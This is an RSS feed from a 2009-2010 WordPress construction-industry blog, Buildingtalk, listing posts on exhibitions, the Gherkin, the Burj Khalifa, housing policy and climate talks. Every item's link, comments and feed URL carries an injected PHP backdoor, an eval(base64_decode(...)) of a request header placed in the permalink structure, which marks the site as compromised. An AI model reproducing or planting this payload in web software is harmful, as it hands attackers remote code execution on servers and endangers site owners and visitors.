<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Buildingtalk Blog</title>
	<link>http://www.buildingtalk.com/blog</link>
	<description>Blog by the Editor of the Buildingtalk email newsletter for Architects, Civil Engineers and Building Services Contractors</description>
	<pubDate>Thu, 17 Feb 2011 22:04:27 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>BEST (Built Environment Solutions and Technologies) - new exhibition</title>
		<link>http://www.buildingtalk.com/blog/2010/02/15/bldtalk286/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2010/02/15/bldtalk286/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 06:02:27 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Interbuild was dismal last year. Crashed and burned. On Friday I travelled to Birmingham to attend the launch meeting to introduce the new show that hopes to rise out of the ashes. BEST (Built Environment Solutions and Technologies) will be co-located at the NEC 17-20 October, alongside The Infrastructure Show, which I assume replaces CIVILS, [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2010/02/15/bldtalk286/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Gherkin sustainability profile</title>
		<link>http://www.buildingtalk.com/blog/2010/02/08/bldtalk285/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2010/02/08/bldtalk285/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 13:12:17 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Passing through the city of London yesterday, I was tempted to join hundreds of charity fundraisers who racing up the 1,037 steps inside one of London&#8217;s most iconic buildings, 30 St Mary Axe, known as the Gherkin. They were aiming to raise GBP125k for the NSPCC&#8217;s Child&#8217;s Voice Appeal. I decided against running up the [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2010/02/08/bldtalk285/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Video as marketing tool for building industry</title>
		<link>http://www.buildingtalk.com/blog/2010/02/01/bldtalk281/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2010/02/01/bldtalk281/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 08:52:26 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Video is a great media for the building industry and still a hugely under-used marketing tool. A recent one minute video on how to install ceiling plasterboard had over 250k views on the web. Last week I saw a Knauf video featuring a &#8216;race&#8217; comparing their MP 75 projection plaster with traditional manual plastering. Knauf [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2010/02/01/bldtalk281/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Housing cuts affect on jobs and apprenticeships</title>
		<link>http://www.buildingtalk.com/blog/2010/01/25/bldtalk280/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2010/01/25/bldtalk280/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 08:12:16 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yesterday a government minister fuelled speculation that the general election will be on 6th May. In advance of this, Buildingtalk seem to be getting more briefings from various lobby groups setting out how policies will impact the building industry. For example, the National Housing Federation said the number of affordable homes to be built over [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2010/01/25/bldtalk280/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Balfour Beatty and &#8216;Zero Harm&#8217; project</title>
		<link>http://www.buildingtalk.com/blog/2010/01/18/bldtalk279/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2010/01/18/bldtalk279/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 08:02:17 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[ I was up in Salford at the weekend, visiting friends and family, as well as watching Manchester United beat Burnley. A great game. Balfour Beatty are building the new Hope Hospital, close to where I was staying and I noticed their motto &#8216;Zero Harm&#8217; splashed across the building site. It relates to their vision [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2010/01/18/bldtalk279/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Burj Khalifa, Dubai - the world&#8217;s tallest building</title>
		<link>http://www.buildingtalk.com/blog/2010/01/10/bldtalk278/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2010/01/10/bldtalk278/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 21:52:18 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I have chosen the first story to be featured in Buildingtalk in 2010 to help celebrate the opening last week of the world&#8217;s tallest building, the Burj Khalifa, formerly called Burj Dubai,  which stands at 828m (2,716ft), twice as high as the Empire State Building. Designed by Adrian Smith from Skidmore, Owings and Merrill, [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2010/01/10/bldtalk278/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The 20 top stories on Buildingtalk in 2009</title>
		<link>http://www.buildingtalk.com/blog/2009/12/21/bldtalk277/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2009/12/21/bldtalk277/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 10:42:21 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[At the beginning a new decade we take one last look back with my choice of the 20 top stories on Buildingtalk in 2009. As some are saying that the Copenhagen Climate Change Conference was just a lot of hot air, we begin and end with energy efficient ventilation from Passivant and Monodraught. All the [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2009/12/21/bldtalk277/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Pre-budget report and the property market</title>
		<link>http://www.buildingtalk.com/blog/2009/12/14/bldtalk276/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2009/12/14/bldtalk276/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 11:42:18 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Alistair Darling&#8217;s Pre-budget report was hardly great news for the property market. Stamp duty is set to revert from its concessionary level of £175,000 to its &#8216;pre-holiday&#8217; level of £125,000. Robert Sinclair, director of the Association for Mortgage Intermediaries, said: &#8216;The housing market is showing signs of recovery but a further stimulus is required.The government [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2009/12/14/bldtalk276/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Climate change summit in Copenhagen</title>
		<link>http://www.buildingtalk.com/blog/2009/12/07/bldtalk275/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2009/12/07/bldtalk275/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 06:22:18 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After nearly two years of talking, an agreement on how the world should move forward on climate change is set to be thrashed out in Copenhagen as delegates from 192 countries gather today for the opening of the long-awaited UN summit. Concern is rising about climate change around the world, according to a new poll [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2009/12/07/bldtalk275/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RIBA lecture on bricks</title>
		<link>http://www.buildingtalk.com/blog/2009/11/30/bldtalk274/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.buildingtalk.com/blog/2009/11/30/bldtalk274/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 07:52:18 +0000</pubDate>
		<dc:creator>Howard Chapman</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Last week I was at the RIBA lecture on bricks, give by Maxwell Hutchinson, a past RIBA President. Better known as a broadcaster and writer, he provided an amusing delivery on an important topic as he challenged architects to see the potential of bricks as a modern method of construction.  In the UK we [...]]]></description>
		<wfw:commentRss>http://www.buildingtalk.com/blog/2009/11/30/bldtalk274/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

